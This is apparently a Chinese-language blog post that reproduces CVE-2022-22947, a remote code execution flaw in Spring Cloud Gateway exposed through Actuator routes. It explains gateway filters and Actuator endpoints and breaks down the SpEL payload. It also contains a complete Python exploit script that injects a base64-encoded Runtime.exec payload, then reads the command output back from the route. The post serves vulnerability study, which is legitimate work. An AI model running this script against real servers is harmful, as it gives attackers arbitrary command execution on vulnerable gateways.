SpringCloudGateway远程代码执行(CVE-2022-22947)

SSpringCloudGateway远程代码执行(CVE-2022-22947)

  • 基本介绍
    • 微服务架构与Spring Cloud
    • Spring Cloud Gateway
      • filter
      • 路由
      • filter过滤规则
      • Spring Boot Actuator
      • Actuator操作Gateway接口列表
  • 漏洞复现
    • 启动SpringCloudGateway服务
    • 添加过滤器(POST)
    • 刷新过滤器(POST)
    • 访问过滤器ID(GET)
  • python脚本
  • 漏洞原理分析
  • payload分析

基本介绍

微服务架构与Spring Cloud

【1】微服务架构
是一项在云中部署应用和服务的新技术。大部分围绕微服务的争论都集中在容器或其他技术是否能很好的实施微服务,而红帽说API应该是重点。
微服务可以在“自己的程序”中运行,并通过“轻量级设备与HTTP型API进行沟通”。
关键在于该服务可以在自己的程序中运行。
通过这一点我们就可以将服务公开与微服务架构(在现有系统中分布一个API)区分开来。
在服务公开中,许多服务都可以被内部独立进程所限制。
如果其中任何一个服务需要增加某种功能,那么就必须缩小进程范围。
在微服务架构中,只需要在特定的某种服务中增加所需功能,而不影响整体进程的架构。
【2】Spring Cloud
是一系列框架的有序集合。
它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。
Spring Cloud并没有重复制造轮子,它只是将各家公司开发的比较成熟、经得起实际考验的服务框架组合起来,通过Spring Boot风格进行再封装屏蔽掉了复杂的配置和实现原理,最终给开发者留出了一套简单易懂、易部署和易维护的分布式系统开发工具包

Spring Cloud Gateway

服务网关

【1】 统一入口
所有请求通过网关路由到内部其他服务。
【2】断言(Predicates)和过滤器(filters)特定路由。
断言是根据具体的请求的规则由route去处理;
过滤器用来对请求做各种判断和修改。
【3】Hystrix 熔断机制。
Hystrix是 spring cloud gateway中是以filter的形式使用的。
【4】请求限流
防止大规模请求对业务数据造成破坏。
【5】 路径重写
自定义路由转发规则。

引入这个依赖
SpringCloudGateway远程代码执行(CVE-2022-22947)_第1张图片SpringCloudGateway远程代码执行(CVE-2022-22947)_第2张图片

filter

路由过滤器允许以某种方式修改传入的HTTP请求或传出的HTTP响应。路径过滤器的范围限定为特定路径。Spring Cloud Gateway包含许多内置的GatewayFilter工厂。

路由

网关配置的基本组成模块,和Zuul的路由配置模块类似。
一个Route模块由一个 ID,一个目标 URI,一组断言和一组过滤器定义。如果断言为真,则路由匹配,目标URI会被访问。

filter过滤规则

SpringCloudGateway远程代码执行(CVE-2022-22947)_第3张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第4张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第5张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第6张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第7张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第8张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第9张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第10张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第11张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第12张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第13张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第14张图片
这几个参考:https://www.cnblogs.com/crazymakercircle/p/11704077.html

Spring Boot Actuator

是一个做监控的组件
可以做健康检查、审查、统计、HTTP追踪
引入这个依赖
SpringCloudGateway远程代码执行(CVE-2022-22947)_第15张图片

定义服务的端口
SpringCloudGateway远程代码执行(CVE-2022-22947)_第16张图片
访问9000
SpringCloudGateway远程代码执行(CVE-2022-22947)_第17张图片

Actuator操作Gateway接口列表

SpringCloudGateway远程代码执行(CVE-2022-22947)_第18张图片

黑色id表示路由规则id

SpringCloudGateway远程代码执行(CVE-2022-22947)_第19张图片SpringCloudGateway远程代码执行(CVE-2022-22947)_第20张图片

SpringCloudGateway远程代码执行(CVE-2022-22947)_第21张图片

漏洞复现

启动SpringCloudGateway服务

SpringCloudGateway远程代码执行(CVE-2022-22947)_第22张图片

添加过滤器(POST)

SpringCloudGateway远程代码执行(CVE-2022-22947)_第23张图片SpringCloudGateway远程代码执行(CVE-2022-22947)_第24张图片
SpringCloudGateway远程代码执行(CVE-2022-22947)_第25张图片

刷新过滤器(POST)

SpringCloudGateway远程代码执行(CVE-2022-22947)_第26张图片

访问过滤器ID(GET)

SpringCloudGateway远程代码执行(CVE-2022-22947)_第27张图片

python脚本

import requests
import json
import base64
import re

payload1 = '/actuator/gateway/routes/half'
payload2 = '/actuator/gateway/refresh'
payload3 = '/actuator/gateway/routes/half'
headers = {
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Connection': 'close',
    'Content-Type': 'application/json'
}
proxies = {
    'http': 'http://IP:8080'
}


data = 'eyAgImlkIjogInd1eWFhcSIsICAiZmlsdGVycyI6IFt7ICAgICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgICAgImFyZ3MiOiB7ICAgICAgIm5hbWUiOiAiUmVzdWx0IiwgICAgICAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiAgICB9ICB9XSwgICJ1cmkiOiAiaHR0cDovL2V4YW1wbGUuY29tIn0KCg=='

data1 = {
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'close',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '0'
}

def exec():
    # 执行命令
    requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace('Cmd',cmd),verify=False,timeout=5)
    # 获得结果
    requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
    # 
    a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
    exec = re.findall(r'Result = [\'"]?([^\'" )]+)', a)
    print(exec)

if __name__ == '__main__':
    url = input("Url:")
    cmd = input("Cmd:")
    exec()

漏洞原理分析

SpringCloudGateway远程代码执行(CVE-2022-22947)_第28张图片

payload分析

SpringCloudGateway远程代码执行(CVE-2022-22947)_第29张图片
【1】红,创建一个新字符串,并执行任意命令
【2】蓝,Java里运行代码的函数
【3】紫,获取执行的结果
【4】黄,将执行的结果转换成字节数组
【5】黑,将字节数组转换成字符串
【6】绿,spEL
#{…} 用于执行SpEl表达式,并将内容赋值给属性
$ {…} 主要用于加载外部属性文件中的值
#{…} 和$ {…} 可以混合使用,但是必须#{}外面,$ {}在里面,#{ ‘${}’ } ,注意单引号,注意不能反过来

你可能感兴趣的:(CVE漏洞复现,java,spring,cloud,微服务)